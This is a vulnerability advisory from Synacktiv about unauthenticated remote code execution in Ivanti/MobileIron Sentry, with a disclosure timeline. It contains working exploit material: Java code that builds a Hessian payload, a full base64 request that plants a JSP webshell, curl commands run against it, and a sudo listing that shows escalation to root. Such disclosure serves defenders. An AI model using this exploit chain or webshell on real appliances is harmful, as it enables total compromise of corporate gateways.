Ivanti Sentry / MobileIron Sentry - Unauthenticated Remote Code Execution
05/06/2024 - Download
Product
Ivanti Sentry / MobileIron Sentry
Severity
Critical
Fixed Version(s)
N/A
Affected Version(s)
≤ 9.18.0
CVE Number
N/A
Authors
Description
Presentation
Ivanti Sentry, formerly known as MobileIron Sentry, is an application gateway that tunnels traffic and data between mobile devices and corporate resources. It can be deployed as a standalone appliance alongside EPMM as part of the Ivanti UEM platform.
Issue(s)
In a standalone Sentry instance, a vulnerable method of the MICSLogService
service can be leveraged to remotely execute arbitrary commands without prior authentication.
Timeline
Date | Description |
---|---|
2023.08.04 | Advisory sent to security@ivanti.com |
2023.08.07 | Follow-up message sent to the vendor |
2023.08.17 | Follow-up message sent to the vendor |
2023.08.18 | Erroneous reply from the vendor acknowledging the advisory for Ivanti EPMM |
2023.08.18 | Synacktiv points out the error and stresses out the fact that two distinct advisories were sent |
2023.08.21 | The CVE-2023-38035 and an advisory are published by Ivanti |
2023.08.21 | Ivanti notifies Synacktiv about the CVE and patch publication |
2023.08.21 | Ivanti says that the previous message was wrongly sent to Synacktiv and that another CVE will be published soon |
2023.08.24 | Synacktiv notices that the vulnerability referenced by CVE-2023-38035 matches the vulnerability reported by their advisory |
2023.08.24 | Synacktiv asks Ivanti to clarify the situation |
2023.09.02 | Follow-up message sent to the vendor |
2023.10.01 | Follow-up message sent to the vendor |
2023.10.02 |
Ivanti answered that the attachment was stripped out when the initial advisory email was forwarded internally. In the meantime, another company reported the same issue and will remain credited |
2024.06.05 | Public Release |
Technical details
Unauthenticated Remote Code Execution
Description
On the MICS portal, the MICSLogService
endpoint is a Hessian service that exposes multiple methods that can be called anonymously. Among them, uploadFileUsingFileInput
executes commands provided through a SystemCommandRequestDTO
object.
// _mics.src.war/WEB-INF/lib/com/mi/middleware/service/MICSLogService.java
package com.mi.middleware.service.impl
[...]
public interface MICSLogServiceImpl {
[...]
public synchronized JSONObject uploadFileUsingFileInput(final SystemCommandRequestDTO requestDTO, ServletContext servletContext) {
[...]
try {
String cmd = requestDTO.getCommand();
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec(cmd);
String fname = requestDTO.getInputFile();
file = new RandomAccessFile(fname, "r");
// _mics.src.war/WEB-INF/lib/com/mi/mics/dto/SystemCommandRequestDTO.java
public class SystemCommandRequestDTO extends ServiceRequestDTO {
[...]
public void setCommand(String command) {
this.command = command;
}
[...]
public void setInputFile(String inputFile) {
this.inputFile = inputFile;
}
}
The following piece of code can be used to generate a valid Hessian call to uploadFileUsingFileInput
with object arguments holding serialized instances of the SystemCommandRequestDTO
and ServletContext
classes.
$ cat uploadFileUsingFileInput.java
import java.io.ByteArrayOutputStream;
import com.caucho.hessian.io.Hessian2Output;
import org.springframework.web.context.support.GenericWebApplicationContext;
import org.springframework.context.ApplicationContext;
import javax.servlet.ServletContext;
import com.mi.mics.dto.SystemCommandRequestDTO;
import java.util.Base64;
// Public dependencies
// https://repo1.maven.org/maven2/javax/servlet/javax.servlet-api/4.0.1/javax.servlet-api-4.0.1.jar
// https://repo1.maven.org/maven2/javax/xml/bind/jaxb-api/2.3.1/jaxb-api-2.3.1.jar
// https://repo1.maven.org/maven2/com/caucho/hessian/4.0.63/hessian-4.0.63.jar
// https://repo1.maven.org/maven2/commons-logging/commons-logging/1.1/commons-logging-1.1.jar
// https://repo1.maven.org/maven2/org/springframework/spring-web/5.2.2.RELEASE/spring-web-5.2.2.RELEASE.jar
// https://repo1.maven.org/maven2/org/springframework/spring-context/5.2.2.RELEASE/spring-context-5.2.2.RELEASE.jar
// https://repo1.maven.org/maven2/org/springframework/spring-beans/5.2.2.RELEASE/spring-beans-5.2.2.RELEASE.jar
// https://repo1.maven.org/maven2/org/springframework/spring-core/5.2.2.RELEASE/spring-core-5.2.2.RELEASE.jar
// From MobileIron Core : /mi/tomcat/webapps/mifs/WEB-INF/lib/common-11.4.0.0-0.jar
// javac -cp ".:hessian-4.0.63.jar:spring-web-5.2.2.RELEASE.jar:spring-context-5.2.2.RELEASE.jar:spring-beans-5.2.2.RELEASE.jar:spring-core-5.2.2.RELEASE.jar:jaxb-api-2.3.1.jar:javax.servlet-api-4.0.1.jar:common-11.4.0.0-0.jar:commons-logging-1.1.jar" uploadFileUsingFileInput.java
class uploadFileUsingFileInput {
public static void main(String[] argv) {
try {
if (argv.length == 0) {
System.out.println("Usage: java uploadFileUsingFileInput [cmd] ");
} else {
GenericWebApplicationContext aptctx = new GenericWebApplicationContext();
ServletContext servletContext = aptctx.getServletContext();
SystemCommandRequestDTO systemCommandObj = new SystemCommandRequestDTO();
String cmd = argv[0];
systemCommandObj.setRoot(true);
systemCommandObj.setInputFile("/tmp/mi-dummy");
systemCommandObj.setCommand(cmd);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(bos);
out.startCall();
out.writeMethod("uploadFileUsingFileInput");
out.writeInt(2);
out.writeObject(systemCommandObj);
out.writeObject(servletContext);
out.completeCall();
out.close();
byte []data2 = bos.toByteArray();
String out_b64 = Base64.getEncoder().encodeToString(bos.toByteArray());
System.out.println("Payload: " + out_b64);
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
Upon crafting the right payload, the vulnerable MICS service can be leveraged to create a webshell on the appliance.
$ export WEBSHELL_HEX=$(xxd -p -c0 ws.jsp)
$ java -cp .:hessian-4.0.63.jar:spring-web-5.2.2.RELEASE.jar:spring-context-5.2.2.RELEASE.jar:spring-beans-5.2.2.RELEASE.jar:spring-core-5.2.2.RELEASE.jar:jaxb-api-2.3.1.jar:javax.servlet-api-4.0.1.jar:common-11.4.0.0-0.jar:commons-logging-1.1.jar uploadFileUsingFileInput "python -v -c open('/mi/tomcat2/webapps/mics/css/css.jsp','w').write('$WEBSHELL_HEX'.decode('hex'))"
Payload: Qxh1cGxv[...]
$ curl -ski -H 'Content-Type: application/x-hessian' --data-binary @<(echo 'Qxh1cGxvYWRGaWxlVXNpbmdGaWxlSW5wdXSSQzAnY29tLm1pLm1pY3MuZHRvLlN5c3RlbUNvbW1hbmRSZXF1ZXN0RFRPnQdjb21tYW5kBmlzUm9vdBBsb2dDb21tYW5kRXJyb3JzCWlucHV0RmlsZQhkZXZpY2VJZAdncm91cElkDHVzZXJBY3Rpb25JZAR1dWlkAmlkCXByaW5jaXBhbA1kZXZpY2VTcGFjZUlkD2RldmljZVNwYWNlUGF0aAxjbWRMaXN0QXJyYXlgUwUXcHl0aG9uIC12IC1jIG9wZW4oJy9taS90b21jYXQyL3dlYmFwcHMvbWljcy9jc3MvY3NzLmpzcCcsJ3cnKS53cml0ZSgnM2MyNTQwMjA3MDYxNjc2NTIwNjk2ZDcwNmY3Mjc0M2QyMjZhNjE3NjYxMmU3NTc0Njk2YzJlMmEyYzZhNjE3NjYxMmU2OTZmMmUyYTIyMjUzZTBhM2MyNTQwMjA3MDYxNjc2NTIwNzQ3MjY5NmQ0NDY5NzI2NTYzNzQ2OTc2NjU1NzY4Njk3NDY1NzM3MDYxNjM2NTczM2QyMjc0NzI3NTY1MjIyNTNlMGEzYzI1MGEyMDIwMjAyMDY5NjYyMDI4NzI2NTcxNzU2NTczNzQyZTY3NjU3NDQ4NjU2MTY0NjU3MjI4MjI1NzUzMjIyOTIwMjEzZDIwNmU3NTZjNmMyOTIwN2IwYTIwMjAyMDIwMjAyMDIwMjA1Mzc0NzI2OTZlNjcyMDZiNzAyMDNkMjA3MjY1NzE3NTY1NzM3NDJlNjc2NTc0NDg2NTYxNjQ2NTcyMjgyMjU3NTMyMjI5M2IwYTIwMjAyMDIwMjAyMDIwMjA2Zjc1NzQyZTcwNzI2OTZlNzQ2YzZlMjgyMjI0M2UyMDIyMjAyYjIwNmI3MDI5M2IwYTIwMjAyMDIwMjAyMDIwMjA1MDcyNmY2MzY1NzM3MzIwNzAyMDNkMjA1Mjc1NmU3NDY5NmQ2NTJlNjc2NTc0NTI3NTZlNzQ2OTZkNjUyODI5MmU2NTc4NjU2MzI4NmU2NTc3MjA1Mzc0NzI2OTZlNjc1YjVkN2IyMjYyNjE3MzY4MjIyYzIwMjIyZDYzMjIyYzIwNmI3MDdkMjkzYjBhMjAyMDIwMjAyMDIwMjAyMDRmNzU3NDcwNzU3NDUzNzQ3MjY1NjE2ZDIwNmY3MzIwM2QyMDcwMmU2NzY1NzQ0Zjc1NzQ3MDc1NzQ1Mzc0NzI2NTYxNmQyODI5M2IwYTIwMjAyMDIwMjAyMDIwMjA0OTZlNzA3NTc0NTM3NDcyNjU2MTZkMjA2OTZlMjAzZDIwNzAyZTY3NjU3NDQ5NmU3MDc1NzQ1Mzc0NzI2NTYxNmQyODI5M2IwYTIwMjAyMDIwMjAyMDIwMjA0NDYxNzQ2MTQ5NmU3MDc1NzQ1Mzc0NzI2NTYxNmQyMDY0Njk3MzIwM2QyMDZlNjU3NzIwNDQ2MTc0NjE0OTZlNzA3NTc0NTM3NDcyNjU2MTZkMjg2OTZlMjkzYjBhMjAyMDIwMjAyMDIwMjAyMDUzNzQ3MjY5NmU2NzIwNjQ2OTczNzIyMDNkMjA2NDY5NzMyZTcyNjU2MTY0NGM2OTZlNjUyODI5M2IwYTIwMjAyMDIwMjAyMDIwMjA3NzY4Njk2YzY1MjAyODIwNjQ2OTczNzIyMDIxM2QyMDZlNzU2YzZjMjAyOTIwN2IwYTIwMjAyMDIwMjAyMDIwMjAyMDIwMjAyMDZmNzU3NDJlNzA3MjY5NmU3NDZjNmUyODY0Njk3MzcyMjkzYjIwMGEyMDIwMjAyMDIwMjAyMDIwMjAyMDIwMjA2NDY5NzM3MjIwM2QyMDY0Njk3MzJlNzI2NTYxNjQ0YzY5NmU2NTI4MjkzYjIwMGEyMDIwMjAyMDIwMjAyMDIwN2QwYTIwMjAyMDIwMjAyMDIwMjA3MjY1NzQ3NTcyNmUzYjBhMjAyMDIwMjA3ZDBhMjUzZTBhJy5kZWNvZGUoJ2hleCcpKVRUDS90bXAvbWktZHVtbXlOTk5OTk6RAy8xL05O' | base64 -d) "https://sentry.local:8443/mics/services/MICSLogService" -o -
HTTP/1.1 200
[...]
HRH isRunningTZ
$ curl -sk https://sentry.local:8443/mics/css/css.jsp -H 'WS: cat /mi/release;id'
$> cat /mi/release;id
Sentry Standalone 9.18.0 Build 6 (Branch wolverine-9.18.0-sentry-release)
uid=497(tomcat2) gid=102(tomcat) groups=102(tomcat)
Impact
ch the MICS portal can execute arbitrary commands on the underlying operating system.
It should be noted that commands are executed as the tomcat2
user which has a permissive sudo
configuration that permits trivial privilege escalation.
$ curl -sk https://sentry.local:8443/mics/css/css.jsp -H 'WS: sudo -l'
$> sudo -l
Matching Defaults entries for tomcat2 on mi:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin, env_keep+="PATH MANPATH MOBILEIRON_HOME TZ KRB5CCNAME CLISH_PATH JAVA_HOME", !syslog, umask_override, umask=022
User tomcat2 may run the following commands on mi:
(ALL) ALL, NOPASSWD: ALL
Therefore, executing commands in this context leads to a total compromise of the Sentry appliance.
Recommendation
Follow remediation instructions published by Ivanti: